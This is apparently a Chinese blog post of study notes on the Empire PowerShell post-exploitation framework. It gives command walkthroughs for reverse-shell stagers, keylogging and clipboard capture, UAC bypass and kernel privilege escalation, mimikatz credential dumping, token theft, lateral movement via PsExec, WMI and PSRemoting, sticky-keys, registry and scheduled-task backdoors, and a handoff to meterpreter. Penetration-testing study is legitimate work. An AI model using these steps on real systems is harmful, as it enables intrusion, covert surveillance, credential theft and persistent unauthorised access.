Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,在域渗透中有很大作用,这里主要是通过安全客上的文章进行简单的学习吧 文章链接: https://www.anquanke.com/post/id/87328 https://www.anquanke.com/post/id/87333
安装
1 | git clone https://github.com/EmpireProject/Empire.git |
如果使用的时候报缺少module,就用pip装一下
1 | pip install -r requirments.txt |
安装完了直接./empire
就可以了
设置监听
进入empire之后可以help查看帮助
一般来说使用步骤就是先设置一个监听,然后去生成一个木马,在目标主机上面运行这个木马,我们这边就可以得到反弹的shell了
那么我们首先进入监听线程页面
然后可以uselistener,这里我们选择http
可以输入info查看配置,用set可以进行设置
然后我们可以set一下名字,为了方便我就用他的名字了
然后ip这里是我们的本机ip,所以并不需要配置
完成了之后可以开始监听了,注意,要是之前开了80端口的话先关掉
然后我们back回去list可以查看监听
想要删除可以直接用kill
这里注意,如果要开多个监听的话必须使用不同的名字和端口.
生成木马
监听设置好了,就去生成木马去目标机器上面运行就好了
我们用usestagger来查看模块
这里multi是通用,osx是mac系统的,windows就是windows的,下面对几种类型的木马讲解一下
dll
直接use一下,然后info看下配置
设置一下listener,然后生成文件
即可生成而恶意dll,不过我实验之后并没有返回agent,之后再看吧
launcher
当仅仅只是需要一段简单的代码的时候,可以直接在listen界面使用launcher
比如 到目标机器上面去运行,然后就有一段连接信息
切换到agents,然后就可以interact连上去
launcher_vbs
一样的,选择stagger的时候用vbs,然后set好参数,execute生成文件,然后目标主机去运行
其他
后面还有bat,macro和ducky bat和macro都可以插入到word里面,不过会报宏病毒... 可以自己去尝试
信息收集
empire主要用于后渗透,那么信息收集就是很重要的模块了,我们可以searchmodule命令来搜索相应的模块(就像msf的search)
同样我们可以usemodule 然后tab来查看一些module,我们searchmodule
collection,得到返回
截图
我们使用screenshot,info查看信息
然后设置好agent之后execute就可以了
图片存在了
/Empire/downloads/BA3HM8WF/screenshot
键盘记录
1 | usemodule powershell/collection/keylogger |
我们直接execute就好,然后在interact之后可以用jobs
命令看见我们挂在后台的操作,而且可以jobs kill JOBS_ID
来杀掉进程
在keystrokes.txt中可以看到我们的键盘记录
剪切板记录
1 | (Empire: HR6YCPW3) > usemodule collection/clipboard_monitor |
然后info查看一下,直接execute
查看域共享
1 | (Empire: HR6YCPW3) > usemodule situational_awareness/network/powerview/share_finder |
然后有一些配置,需要的话可以自己配置一下,我这里直接execute了,不过由于没有搭建域环境,所以没有东西
主机相关信息
1 | (Empire: HR6YCPW3) > usemodule situational_awareness/host/winenum |
可以查看本机用户,域组成员,最后密码设置时间,剪贴板内容,系统基本系统信息,网络适配器信息,共享信息等等
arp扫描
1 | (Empire: HR6YCPW3) > usemodule situational_awareness/network/arpscan |
需要注意的是这里需要设置Range参数
1 | (Empire: powershell/situational_awareness/network/arpscan) > set Range 10.0.2.0-10.0.2.254 |

dns信息获取
内网dns反查
在内网中,知道所有机器的HostName和对应的IP地址对分析内网结构至关重要
1 | (Empire: HR6YCPW3) > usemodule situational_awareness/network/reverse_dns |
同样,注意设置一下Range
查询dns服务器
1 | (Empire: HR6YCPW3) > usemodule situational_awareness/host/dnsserver |
不需要参数,直接查询即可
查找域管登录服务器ip
内网渗透中,拿到一台内网机想要获得域管权限有一种方法就是横向渗透,拿下域管登录的机子然后横向渗透进去,窃取域管的权限从而拿下整个域. 这个模块就是用来查找域管登录过的服务器的ip的
1 | (Empire: HR6YCPW3) > usemodule situational_awareness/network/powerview/user_hunter |
然后execute即可,我本地没有搭建环境,没有相关信息
本地管理组访问
1 | (Empire: F8AT9WYP) > usemodule situational_awareness/network/powerview/find_localadmin_access |

获取域控制器
假如我们成功地拿到了域用户权限,那么可以来找域控
1 | (Empire: F8AT9WYP) > usemodule situational_awareness/network/powerview/get_domain_controller |

提权
Windows在Vista系统开始引入UAC账户控制体系
高:完整的管理员权限 中:标准用户权限 低:很低的权限
即使当前用户是本地管理员,双击运行大部分应用程序时也是以标准用户权限运行的(除非右击-选择以管理员身份运行)。所以即使我们获得的权限是本地管理员权限,也没有办法执行一些命令(特殊注册表写入、LSASS读取/写入等等),所以渗透的第一步便是提权,提权的前提便是知道自己拥有什么权限,可以输入以下命令来查询
1 | whoami /groups |
显示的如果是High Mandatory Level表示是管理员权限,Medium Mandatory
Level则是普通用户权限 我这里是普通用户
bypassuac
1 | (Empire: F8AT9WYP) > usemodule privesc/bypassuac |
info之后记得设置listener,因为这里会上线一个新的反弹
回到agents查看 带了*号的是提权成功的
我们interact上去
发现权限已经是high了
bypassuac_wscript
这个模块大概原理是使用c:Windowswscript.exe执行payload,实现管理员权限执行payload,绕过UAC。只适用于系统为Windows
7,目前尚没有对应补丁(17年11月),部分杀毒软件会有提示。
如下图所示,带型号的即为提权成功的。
interact然后查看一下
提权成功
ms16-032
empire自带了ms16-032模块,use一下设置一下listener,execute即可提权,不过我这里是虚拟机,提示要求两核以上的CPU才能提权
ms16-135
同理使用,不过提醒一下,运行的时候受害者桌面会闪屏,而且有蓝屏的可能,我测试的时候第一次是蓝屏,不过第二次成功了
成功之后,显示的是system权限
powerup
Empire内置了PowerUp部分工具,用于系统提权,主要为Windows错误系统配置漏洞,Windows
Services漏洞,AlwaysInstallElevated漏洞等8种提权方式,输入“usemodule
privesc/powerup”然后按Tab键来查看完整列表,如下图所示。
allchecks
如何查找上述的漏洞,我们就可以使用allchecks
1 | (Empire: 96XZYBKD) > usemodule privesc/powerup/allchecks |
直接execute即可
测试一下bypassuac,成功返回高权限
文档
官方说明如下: l 对于任何没有引号的服务路径问题 l 对于ACL配置错误的任何服务(可通过service_ *利用 ) l 服务可执行文件上的任何不当权限(可通过service_exe_ *进行利用) l 对于任何剩余的unattend.xml文件 l 如果AlwaysInstallElevated注册表项设置 l 如果有任何Autologon凭证留在注册表中 l 用于任何加密的web.config字符串和应用程序池密码 l 对于任何%PATH%.DLL劫持机会(可通过write_dllhijacker利用)
gpp
在域里面很多都会启用组策略首选项来执行本地密码更改,以便于管理和映像部署。缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取到部署信息。虽然他是采用AES 256加密的,使用usemodule privesc/gpp
1 | (Empire: 96XZYBKD) > usemodule privesc/gpp |

横向渗透
令牌窃取
mimikatz
获取到了服务器的权限之后,我们可以使用mimikatz获取系统密码
然后creds就可以获取到hash密码甚至明文密码了
steal_token
假如域用户在这个服务器上面登录过,那我们就可以去窃取域用户的身份令牌,比如我们这里执行pth <ID>
,这里的ID是creds前面的id
然后可以看到pid,我们直接
steal_token pid
同样我们也可以ps获取进程
如果有域内的用户的进程,那么我们就可以steal_token来获取令牌
当然,要将令牌权限恢复到原来的状况的话我们可以用
revtoself
会话注入
1 | usemodule management/psinject |
感觉和前面的steal_token差不多 info的时候设置一下Listener和ProcId
然后反弹回来一个会话
Invoke-PsExec
缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。 使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网
1 | usemodule lateral_movement/invoke_psexec |
然后set好计算机的名称和Listener即可 这里我本地失败了,就不截图了
Invoke-WMI
它比PsExec安全,所有window系统启用该服务,当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。但防火墙开启将会无法连接。输入usemodule
lateral_movement/invoke_wmi,使用该模块,输入info命令查看具体参数,如下图所示
然后执行了恶意代码
WMI还有一个usemodule
lateral_movement/invoke_wmi_debugger模块,是使用WMI去设置五个Windows
Accessibility可执行文件中任意一个的调试器。这些可执行文件包括sethc.exe(粘滞键,五下shift可触发),narrator.exe(文本转语音,Utilman接口激活)、Utilman.exe(windows辅助管理器,Win+U启用),Osk.exe(虚拟键盘,Utilman接口启用)、Magnify.exe(放大镜,Utilman接口启用)。大家也可以尝试一下。
Powershell Remoting(5985端口)
PowerShell remoting是Powershell的远程管理功能,开启Windows远程管理服务WinRM会监听5985端口,该服务默认在Windows Server 2012中是启动的,在Windows Server 2003、2008和2008 R2需要通过手动启动 如果启用了这个服务,那我们就可以用
1 | usemodule lateral_movement/invoke_psremoting |
set好参数即可
后门
权限持久性劫持shift后门
粘置键后门
1 | usemodule lateral_movement/invoke_wmi_debuggerinfo |
然后set好listener和computer name,然后target
binary设置sethc.exe,execute成功之后有提醒,然后去靶机上按shift就反弹shell回来了
注意:sethc.exe这里有几个可以替换的选项。 A.Utilman.exe(快捷键为: Win +
U) B.osk.exe(屏幕上的键盘Win + U启动再选择) C.Narrator.exe
(启动讲述人Win + U启动再选择) D.Magnify.exe(放大镜Win +
U启动再选择)
注册表注入后门
这里我只是set了一个listener
重新登录系统的时候运行了恶意代码,直接反了一个shell
不过登录的时候黑框还是蛮明显的
计划任务获得权限
1 | usemodule persistence/elevated/schtasks |
设置一下时间和Listener,然后就可以返回agent了 但是杀软会报提示
然后就返回agent了
可以看到权限是System
这里如果把set RegPath
的参数改为前面的注册表参数,那么就会在相应时间添加一个注册表注入后门,大家可以练习一下。
反弹meterpreter
使用
1 | usemodule code_execution/invoke_shellcode |
填好lhost和lport,他的payload默认是https,不管就ok
然后去msf设置一下监听
1 | msf > use exploit/multi/handler |
返回empire进行execute
然后metasploit上面就反了一个meterpreter
总结
简单地对empire进行一个学习,也是对渗透学习的一个补充,后续可能还会对metasploit进行一个深入学习,挖坑待填吧...